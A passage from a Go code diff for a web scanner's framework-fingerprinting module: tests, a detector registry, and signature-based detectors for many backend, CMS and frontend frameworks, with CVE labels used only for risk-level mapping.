</head>
<body></body>
</html>
`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "WordPress" {
t.Errorf("expected framework 'WordPress', got '%s'", result.Name)
}
}
func TestDetectFramework_ASPNET(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-AspNet-Version", "4.0.30319")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<body>
<input type="hidden" name="__VIEWSTATE" value="abc123">
<input type="hidden" name="__EVENTVALIDATION" value="xyz789">
</body>
</html>
`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "ASP.NET" {
t.Errorf("expected framework 'ASP.NET', got '%s'", result.Name)
}
}
func TestDetectFramework_NoMatch(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`<!DOCTYPE html><html><body>Simple page</body></html>`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
// result can be nil or have low confidence for unrecognized frameworks
if result != nil && result.Confidence > 0.6 {
t.Errorf("expected low confidence or nil result for plain HTML, got %s with %.2f", result.Name, result.Confidence)
}
}
func TestFrameworkResult_Fields(t *testing.T) {
result := frameworks.NewFrameworkResult("Laravel", "9.0.0", 0.85, 0.9)
result.WithVulnerabilities([]string{"CVE-2021-3129"}, []string{"Update to latest version"})
if result.Name != "Laravel" {
t.Errorf("expected Name 'Laravel', got '%s'", result.Name)
}
if result.Version != "9.0.0" {
t.Errorf("expected Version '9.0.0', got '%s'", result.Version)
}
if result.Confidence != 0.85 {
t.Errorf("expected Confidence 0.85, got %f", result.Confidence)
}
if result.VersionConfidence != 0.9 {
t.Errorf("expected VersionConfidence 0.9, got %f", result.VersionConfidence)
}
if len(result.CVEs) != 1 {
t.Errorf("expected 1 CVE, got %d", len(result.CVEs))
}
if len(result.Suggestions) != 1 {
t.Errorf("expected 1 suggestion, got %d", len(result.Suggestions))
}
}
func TestExtractVersionWithConfidence(t *testing.T) {
tests := []struct {
name string
body string
framework string
wantVer string
minConf float32
}{
{"Laravel explicit", "Laravel 8.0.0", "Laravel", "8.0.0", 0.8},
{"Angular ng-version", `<html ng-version="14.2.0">`, "Angular", "14.2.0", 0.9},
{"WordPress generator", `<meta name="generator" content="WordPress 6.1.0">`, "WordPress", "6.1.0", 0.9},
{"Vue CDN", "vue@3.2.0/dist", "Vue.js", "3.2.0", 0.7},
{"No version", "Hello World", "Laravel", "unknown", 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := frameworks.ExtractVersionOptimized(tt.body, tt.framework)
if result.Version != tt.wantVer {
t.Errorf("ExtractVersionOptimized() version = %q, want %q", result.Version, tt.wantVer)
}
if result.Confidence < tt.minConf {
t.Errorf("ExtractVersionOptimized() confidence = %f, want >= %f", result.Confidence, tt.minConf)
}
})
}
}
func TestDetermineRiskLevel(t *testing.T) {
tests := []struct {
name string
cves []string
expected string
}{
{"no CVEs", []string{}, "low"},
{"critical", []string{"CVE-2021-3129 (critical)"}, "critical"},
{"high", []string{"CVE-2023-22795 (high)"}, "high"},
{"medium", []string{"CVE-2023-46298 (medium)"}, "medium"},
{"mixed - critical wins", []string{"CVE-2023-1 (medium)", "CVE-2021-3129 (critical)"}, "critical"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Test via WithVulnerabilities which uses determineRiskLevel internally
result := frameworks.NewFrameworkResult("Test", "1.0", 0.5, 0.5)
result.WithVulnerabilities(tt.cves, nil)
if result.RiskLevel != tt.expected {
t.Errorf("determineRiskLevel() = %q, want %q", result.RiskLevel, tt.expected)
}
})
}
}
func TestDetectFramework_Vue(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Vue App</title></head>
<body>
<div id="app" data-v-12345>
<div v-cloak>Loading...</div>
</div>
<script src="https://unpkg.com/vue@3.2.0/dist/vue.global.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Vue.js" {
t.Errorf("expected framework 'Vue.js', got '%s'", result.Name)
}
}
func TestDetectFramework_Angular(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html ng-version="15.0.0">
<head><title>Angular App</title></head>
<body>
<app-root _nghost-abc-c123 _ngcontent-abc-c123></app-root>
</body>
</html>
`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Angular" {
t.Errorf("expected framework 'Angular', got '%s'", result.Name)
}
}
func TestDetectFramework_React(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>React App</title></head>
<body>
<div id="root" data-reactroot="">Content</div>
<script src="/static/js/react-dom.production.min.js"></script>
</body>
</html>
`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "React" {
t.Errorf("expected framework 'React', got '%s'", result.Name)
}
}
func TestDetectFramework_Svelte(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head><title>Svelte App</title></head>
<body>
<div id="app" class="__svelte-123">
<span class="svelte-abc123">Content</span>
</div>
</body>
</html>
`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Svelte" {
t.Errorf("expected framework 'Svelte', got '%s'", result.Name)
}
}
func TestDetectFramework_Joomla(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`
<!DOCTYPE html>
<html>
<head>
<meta name="generator" content="Joomla! - Open Source Content Management">
<script src="/media/jui/js/jquery.js"></script>
</head>
<body>
<div class="Joomla">Content</div>
</body>
</html>
`))
}))
defer server.Close()
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result == nil {
t.Fatal("expected result, got nil")
}
if result.Name != "Joomla" {
t.Errorf("expected framework 'Joomla', got '%s'", result.Name)
}
}
func TestCVEEntry_Fields(t *testing.T) {
entry := frameworks.CVEEntry{
CVE: "CVE-2021-3129",
AffectedVersions: []string{"8.0.0", "8.0.1"},
FixedVersion: "8.4.2",
Severity: "critical",
Description: "RCE vulnerability",
Recommendations: []string{"Update immediately"},
}
if entry.CVE != "CVE-2021-3129" {
t.Errorf("expected CVE 'CVE-2021-3129', got '%s'", entry.CVE)
}
if len(entry.AffectedVersions) != 2 {
t.Errorf("expected 2 affected versions, got %d", len(entry.AffectedVersions))
}
if entry.Severity != "critical" {
t.Errorf("expected Severity 'critical', got '%s'", entry.Severity)
}
}
func TestDetectorRegistry(t *testing.T) {
detectors := frameworks.GetDetectors()
if len(detectors) == 0 {
t.Fatal("expected registered detectors, got none")
}
// Check that some expected detectors are registered
expectedDetectors := []string{"Laravel", "Django", "React", "Vue.js", "Angular", "Next.js", "WordPress"}
for _, name := range expectedDetectors {
if _, ok := frameworks.GetDetector(name); !ok {
t.Errorf("expected detector %q to be registered", name)
}
}
}
+133
View File
@@ -0,0 +1,133 @@
/*
BSD 3-Clause License
(c) 2022-2025 vmfunc, xyzeva & contributors
*/
package frameworks
import (
"net/http"
"strings"
"sync"
)
// Signature represents a pattern to match for framework detection.
type Signature struct {
Pattern string
Weight float32
HeaderOnly bool
}
// Detector is the interface for framework detection plugins.
type Detector interface {
// Name returns the unique framework name.
Name() string
// Signatures returns patterns to search for this framework.
Signatures() []Signature
// Detect performs detection and returns confidence (0.0-1.0) and version.
// The version can be empty if not detectable.
Detect(body string, headers http.Header) (confidence float32, version string)
}
// registry holds all registered detectors.
var (
registryMu sync.RWMutex
registry = make(map[string]Detector)
)
// Register adds a detector to the registry. Should be called from init().
func Register(d Detector) {
registryMu.Lock()
defer registryMu.Unlock()
registry[d.Name()] = d
}
// GetDetectors returns all registered detectors.
func GetDetectors() map[string]Detector {
registryMu.RLock()
defer registryMu.RUnlock()
// Return a copy to prevent mutation
result := make(map[string]Detector, len(registry))
for k, v := range registry {
result[k] = v
}
return result
}
// GetDetector returns a specific detector by name.
func GetDetector(name string) (Detector, bool) {
registryMu.RLock()
defer registryMu.RUnlock()
d, ok := registry[name]
return d, ok
}
// BaseDetector provides common functionality for detector implementations.
type BaseDetector struct {
name string
signatures []Signature
}
// NewBaseDetector creates a new base detector.
func NewBaseDetector(name string, signatures []Signature) BaseDetector {
return BaseDetector{name: name, signatures: signatures}
}
// Name returns the framework name.
func (b BaseDetector) Name() string {
return b.name
}
// Signatures returns the detection signatures.
func (b BaseDetector) Signatures() []Signature {
return b.signatures
}
// MatchSignatures checks body and headers against signatures and returns a weighted score.
func (b BaseDetector) MatchSignatures(body string, headers http.Header) float32 {
var weightedScore float32
var totalWeight float32
for _, sig := range b.signatures {
totalWeight += sig.Weight
if sig.HeaderOnly {
if containsHeader(headers, sig.Pattern) {
weightedScore += sig.Weight
}
} else if strings.Contains(body, sig.Pattern) {
weightedScore += sig.Weight
}
}
if totalWeight == 0 {
return 0
}
return weightedScore / totalWeight
}
// containsHeader checks if a signature pattern exists in headers.
func containsHeader(headers http.Header, signature string) bool {
sigLower := strings.ToLower(signature)
// Check header names
for name := range headers {
if strings.Contains(strings.ToLower(name), sigLower) {
return true
}
}
// Check header values
for _, values := range headers {
for _, value := range values {
if strings.Contains(strings.ToLower(value), sigLower) {
return true
}
}
}
return false
}
@@ -0,0 +1,476 @@
/*
BSD 3-Clause License
(c) 2022-2025 vmfunc, xyzeva & contributors
*/
package detectors
import (
"math"
"net/http"
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
)
func init() {
// Register all backend detectors
fw.Register(&laravelDetector{})
fw.Register(&djangoDetector{})
fw.Register(&railsDetector{})
fw.Register(&expressDetector{})
fw.Register(&aspnetDetector{})
fw.Register(&aspnetCoreDetector{})
fw.Register(&springDetector{})
fw.Register(&springBootDetector{})
fw.Register(&flaskDetector{})
fw.Register(&symfonyDetector{})
fw.Register(&fastapiDetector{})
fw.Register(&ginDetector{})
fw.Register(&phoenixDetector{})
fw.Register(&strapiDetector{})
fw.Register(&adonisDetector{})
fw.Register(&cakephpDetector{})
fw.Register(&codeigniterDetector{})
}
// sigmoidConfidence converts a weighted score to a 0-1 confidence value.
func sigmoidConfidence(score float32) float32 {
return float32(1.0 / (1.0 + math.Exp(-float64(score)*6.0)))
}
// laravelDetector detects Laravel framework.
type laravelDetector struct {
fw.BaseDetector
}
func (d *laravelDetector) Name() string { return "Laravel" }
func (d *laravelDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "laravel_session", Weight: 0.4, HeaderOnly: true},
{Pattern: "XSRF-TOKEN", Weight: 0.3, HeaderOnly: true},
{Pattern: `<meta name="csrf-token"`, Weight: 0.3},
}
}
func (d *laravelDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// djangoDetector detects Django framework.
type djangoDetector struct{}
func (d *djangoDetector) Name() string { return "Django" }
func (d *djangoDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "csrfmiddlewaretoken", Weight: 0.4, HeaderOnly: true},
{Pattern: "csrftoken", Weight: 0.3, HeaderOnly: true},
{Pattern: "django.contrib", Weight: 0.3},
{Pattern: "django.core", Weight: 0.3},
{Pattern: "__admin_media_prefix__", Weight: 0.3},
}
}
func (d *djangoDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// railsDetector detects Ruby on Rails framework.
type railsDetector struct{}
func (d *railsDetector) Name() string { return "Ruby on Rails" }
func (d *railsDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "csrf-param", Weight: 0.4, HeaderOnly: true},
{Pattern: "csrf-token", Weight: 0.3, HeaderOnly: true},
{Pattern: "_rails_session", Weight: 0.3, HeaderOnly: true},
{Pattern: "ruby-on-rails", Weight: 0.3},
{Pattern: "rails-env", Weight: 0.3},
{Pattern: "data-turbo", Weight: 0.2},
}
}
func (d *railsDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// expressDetector detects Express.js framework.
type expressDetector struct{}
func (d *expressDetector) Name() string { return "Express.js" }
func (d *expressDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "Express", Weight: 0.5, HeaderOnly: true},
{Pattern: "connect.sid", Weight: 0.3, HeaderOnly: true},
}
}
func (d *expressDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// aspnetDetector detects ASP.NET framework.
type aspnetDetector struct{}
func (d *aspnetDetector) Name() string { return "ASP.NET" }
func (d *aspnetDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "X-AspNet-Version", Weight: 0.5, HeaderOnly: true},
{Pattern: "X-AspNetMvc-Version", Weight: 0.5, HeaderOnly: true},
{Pattern: "ASP.NET", Weight: 0.4, HeaderOnly: true},
{Pattern: "__VIEWSTATE", Weight: 0.4},
{Pattern: "__EVENTVALIDATION", Weight: 0.3},
{Pattern: "__VIEWSTATEGENERATOR", Weight: 0.3},
{Pattern: ".aspx", Weight: 0.2},
{Pattern: ".ashx", Weight: 0.2},
{Pattern: ".asmx", Weight: 0.2},
{Pattern: "asp.net_sessionid", Weight: 0.4, HeaderOnly: true},
{Pattern: "X-Powered-By: ASP.NET", Weight: 0.4, HeaderOnly: true},
}
}
func (d *aspnetDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// aspnetCoreDetector detects ASP.NET Core framework.
type aspnetCoreDetector struct{}
func (d *aspnetCoreDetector) Name() string { return "ASP.NET Core" }
func (d *aspnetCoreDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: ".AspNetCore.", Weight: 0.5, HeaderOnly: true},
{Pattern: "blazor", Weight: 0.4},
{Pattern: "_blazor", Weight: 0.4},
{Pattern: "dotnet", Weight: 0.2, HeaderOnly: true},
}
}
func (d *aspnetCoreDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// springDetector detects Spring framework.
type springDetector struct{}
func (d *springDetector) Name() string { return "Spring" }
func (d *springDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "org.springframework", Weight: 0.4, HeaderOnly: true},
{Pattern: "spring-security", Weight: 0.3, HeaderOnly: true},
{Pattern: "JSESSIONID", Weight: 0.3, HeaderOnly: true},
{Pattern: "X-Application-Context", Weight: 0.3, HeaderOnly: true},
}
}
func (d *springDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// springBootDetector detects Spring Boot framework.
type springBootDetector struct{}
func (d *springBootDetector) Name() string { return "Spring Boot" }
func (d *springBootDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "spring-boot", Weight: 0.5},
{Pattern: "actuator", Weight: 0.3},
{Pattern: "whitelabel", Weight: 0.2},
}
}
func (d *springBootDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// flaskDetector detects Flask framework.
type flaskDetector struct{}
func (d *flaskDetector) Name() string { return "Flask" }
func (d *flaskDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "Werkzeug", Weight: 0.4, HeaderOnly: true},
{Pattern: "flask", Weight: 0.3, HeaderOnly: true},
{Pattern: "jinja2", Weight: 0.3},
}
}
func (d *flaskDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// symfonyDetector detects Symfony framework.
type symfonyDetector struct{}
func (d *symfonyDetector) Name() string { return "Symfony" }
func (d *symfonyDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "symfony", Weight: 0.4, HeaderOnly: true},
{Pattern: "sf_", Weight: 0.3, HeaderOnly: true},
{Pattern: "_sf2_", Weight: 0.3, HeaderOnly: true},
}
}
func (d *symfonyDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// fastapiDetector detects FastAPI framework.
type fastapiDetector struct{}
func (d *fastapiDetector) Name() string { return "FastAPI" }
func (d *fastapiDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "fastapi", Weight: 0.4, HeaderOnly: true},
{Pattern: "starlette", Weight: 0.3, HeaderOnly: true},
}
}
func (d *fastapiDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// ginDetector detects Gin framework.
type ginDetector struct{}
func (d *ginDetector) Name() string { return "Gin" }
func (d *ginDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "gin-gonic", Weight: 0.4},
{Pattern: "gin", Weight: 0.2, HeaderOnly: true},
}
}
func (d *ginDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// phoenixDetector detects Phoenix framework.
type phoenixDetector struct{}
func (d *phoenixDetector) Name() string { return "Phoenix" }
func (d *phoenixDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "_csrf_token", Weight: 0.4, HeaderOnly: true},
{Pattern: "phx-", Weight: 0.3},
{Pattern: "phoenix", Weight: 0.2},
}
}
func (d *phoenixDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// strapiDetector detects Strapi framework.
type strapiDetector struct{}
func (d *strapiDetector) Name() string { return "Strapi" }
func (d *strapiDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "strapi", Weight: 0.4},
{Pattern: "/api/", Weight: 0.2},
}
}
func (d *strapiDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// adonisDetector detects AdonisJS framework.
type adonisDetector struct{}
func (d *adonisDetector) Name() string { return "AdonisJS" }
func (d *adonisDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "adonis", Weight: 0.4},
{Pattern: "_csrf", Weight: 0.2, HeaderOnly: true},
}
}
func (d *adonisDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// cakephpDetector detects CakePHP framework.
type cakephpDetector struct{}
func (d *cakephpDetector) Name() string { return "CakePHP" }
func (d *cakephpDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "cakephp", Weight: 0.4},
{Pattern: "cake", Weight: 0.2},
}
}
func (d *cakephpDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// codeigniterDetector detects CodeIgniter framework.
type codeigniterDetector struct{}
func (d *codeigniterDetector) Name() string { return "CodeIgniter" }
func (d *codeigniterDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "codeigniter", Weight: 0.4},
{Pattern: "ci_session", Weight: 0.4, HeaderOnly: true},
}
}
func (d *codeigniterDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
+180
View File
@@ -0,0 +1,180 @@
/*
BSD 3-Clause License
(c) 2022-2025 vmfunc, xyzeva & contributors
*/
package detectors
import (
"net/http"
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
)
func init() {
// Register all CMS detectors
fw.Register(&wordpressDetector{})
fw.Register(&drupalDetector{})
fw.Register(&joomlaDetector{})
fw.Register(&magentoDetector{})
fw.Register(&shopifyDetector{})
fw.Register(&ghostDetector{})
}
// wordpressDetector detects WordPress CMS.
type wordpressDetector struct{}
func (d *wordpressDetector) Name() string { return "WordPress" }
func (d *wordpressDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "wp-content", Weight: 0.4},
{Pattern: "wp-includes", Weight: 0.4},
{Pattern: "wp-json", Weight: 0.3},
{Pattern: "wordpress", Weight: 0.3},
{Pattern: "wp-emoji", Weight: 0.2},
}
}
func (d *wordpressDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// drupalDetector detects Drupal CMS.
type drupalDetector struct{}
func (d *drupalDetector) Name() string { return "Drupal" }
func (d *drupalDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "Drupal", Weight: 0.4, HeaderOnly: true},
{Pattern: "drupal.js", Weight: 0.4},
{Pattern: "/sites/default/files", Weight: 0.3},
{Pattern: "Drupal.settings", Weight: 0.3},
}
}
func (d *drupalDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// joomlaDetector detects Joomla CMS.
type joomlaDetector struct{}
func (d *joomlaDetector) Name() string { return "Joomla" }
func (d *joomlaDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "Joomla", Weight: 0.4},
{Pattern: "/media/jui/", Weight: 0.4},
{Pattern: "/components/com_", Weight: 0.3},
{Pattern: "joomla.javascript", Weight: 0.3},
}
}
func (d *joomlaDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// magentoDetector detects Magento CMS.
type magentoDetector struct{}
func (d *magentoDetector) Name() string { return "Magento" }
func (d *magentoDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "Magento", Weight: 0.4},
{Pattern: "/static/frontend/", Weight: 0.4},
{Pattern: "mage/", Weight: 0.3},
{Pattern: "Mage.Cookies", Weight: 0.3},
}
}
func (d *magentoDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// shopifyDetector detects Shopify platform.
type shopifyDetector struct{}
func (d *shopifyDetector) Name() string { return "Shopify" }
func (d *shopifyDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "Shopify", Weight: 0.5},
{Pattern: "cdn.shopify.com", Weight: 0.4},
{Pattern: "shopify-section", Weight: 0.4},
{Pattern: "myshopify.com", Weight: 0.3},
}
}
func (d *shopifyDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// ghostDetector detects Ghost CMS.
type ghostDetector struct{}
func (d *ghostDetector) Name() string { return "Ghost" }
func (d *ghostDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "ghost-", Weight: 0.4},
{Pattern: "Ghost", Weight: 0.3, HeaderOnly: true},
{Pattern: "/ghost/api/", Weight: 0.4},
}
}
func (d *ghostDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
@@ -0,0 +1,208 @@
/*
BSD 3-Clause License
(c) 2022-2025 vmfunc, xyzeva & contributors
*/
package detectors
import (
"net/http"
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
)
func init() {
// Register all frontend detectors
fw.Register(&reactDetector{})
fw.Register(&vueDetector{})
fw.Register(&angularDetector{})
fw.Register(&svelteDetector{})
fw.Register(&emberDetector{})
fw.Register(&backboneDetector{})
fw.Register(&meteorDetector{})
}
// reactDetector detects React framework.
type reactDetector struct{}
func (d *reactDetector) Name() string { return "React" }
func (d *reactDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "data-reactroot", Weight: 0.5},
{Pattern: "react-dom", Weight: 0.4},
{Pattern: "__REACT_DEVTOOLS", Weight: 0.4},
{Pattern: "react.production", Weight: 0.4},
{Pattern: "_reactRootContainer", Weight: 0.3},
}
}
func (d *reactDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// vueDetector detects Vue.js framework.
type vueDetector struct{}
func (d *vueDetector) Name() string { return "Vue.js" }
func (d *vueDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "data-v-", Weight: 0.5},
{Pattern: "Vue.js", Weight: 0.4},
{Pattern: "vue.runtime", Weight: 0.4},
{Pattern: "vue.min.js", Weight: 0.4},
{Pattern: "__vue__", Weight: 0.3},
{Pattern: "v-cloak", Weight: 0.3},
}
}
func (d *vueDetector) Detect(body string, headers http.Header) (float32, string) {
